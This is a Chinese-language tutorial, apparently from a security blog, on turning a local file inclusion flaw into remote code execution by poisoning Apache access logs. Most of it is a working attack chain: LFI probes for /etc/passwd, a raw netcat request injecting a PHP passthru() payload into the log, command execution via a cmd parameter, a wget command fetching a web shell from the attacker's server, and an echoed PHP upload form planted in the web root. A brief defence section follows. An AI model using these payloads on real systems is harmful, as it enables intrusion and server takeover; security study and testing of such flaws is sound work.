通过APACHE ACCESS LOG来利用LFI漏洞
字数 978 2025-08-18 11:37:33
通过Apache访问日志利用LFI漏洞的深入指南
1. 漏洞概述
本地文件包含(LFI)漏洞允许攻击者读取服务器上的敏感文件内容。通过结合Apache访问日志,可以将简单的LFI漏洞升级为远程代码执行(RCE),最终获取服务器控制权。
2. 前置条件
- 存在LFI漏洞的Web应用
- Apache服务器配置允许目录遍历
- 可访问Apache访问日志文件(通常位于/var/log/apache2/access.log)
3. 漏洞验证步骤
3.1 确认LFI漏洞存在
尝试包含常见系统文件:
/index.php?page=/etc/passwd
3.2 验证Apache日志可读
尝试包含Apache访问日志:
/index.php?page=/var/log/apache2/access.log
4. 漏洞利用过程
4.1 理解Apache日志特性
Apache访问日志会记录所有HTTP请求,包括恶意注入的PHP代码。
4.2 注入PHP代码到日志
使用netcat(nc)工具发送包含PHP代码的请求:
ncat 目标IP 80
发送以下内容(注意不要使用浏览器,因为会自动URL编码):
GET /<?php passthru($_GET['cmd']); ?> HTTP/1.1
Host: 目标IP
Connection: close
4.3 验证代码执行
通过LFI访问日志文件并添加cmd参数:
/index.php?page=/var/log/apache2/access.log&cmd=id
如果成功,将返回当前用户的ID信息。
5. 获取Web Shell的两种方法
5.1 使用wget下载
如果服务器有wget命令,可直接下载Web Shell:
&cmd=wget http://你的服务器/shell.php -O /var/www/html/shell.php
5.2 创建上传表单
通过echo命令创建文件上传页面:
&cmd=echo '<FORM ENCTYPE="multipart/form-data" ACTION="<?php echo $_SERVER["PHP_SELF"]; ?>" METHOD=POST>Send this file: <INPUT NAME="userfile" TYPE="file"><INPUT TYPE="submit" VALUE="Send"></FORM><?php move_uploaded_file($_FILES["userfile"]["tmp_name"], $_FILES["userfile"]["name"]); ?>' > /var/www/html/upload.php
然后访问/upload.php上传Web Shell。
6. 完整利用流程总结
- 验证LFI漏洞存在(读取/etc/passwd等文件)
- 确认可读取Apache访问日志
- 通过netcat注入PHP代码到日志
- 验证代码执行(使用id、whoami等命令)
- 通过wget或上传表单获取Web Shell
- 访问Web Shell获取服务器控制权
7. 防御措施
- 禁用不必要的目录遍历
- 将日志文件存放在Web根目录外
- 对用户输入进行严格过滤
- 使用PHP的open_basedir限制文件访问范围
- 定期更新和修补Web应用程序
8. 技术要点
passthru()函数:执行系统命令并显示原始输出- Apache日志默认位置:/var/log/apache2/access.log
- 必须使用原始HTTP请求注入代码,避免浏览器自动编码
- 上传表单需要服务器有写入权限
通过这种方法,简单的LFI漏洞可被升级为完整的服务器入侵,展示了看似低危漏洞的实际危害性。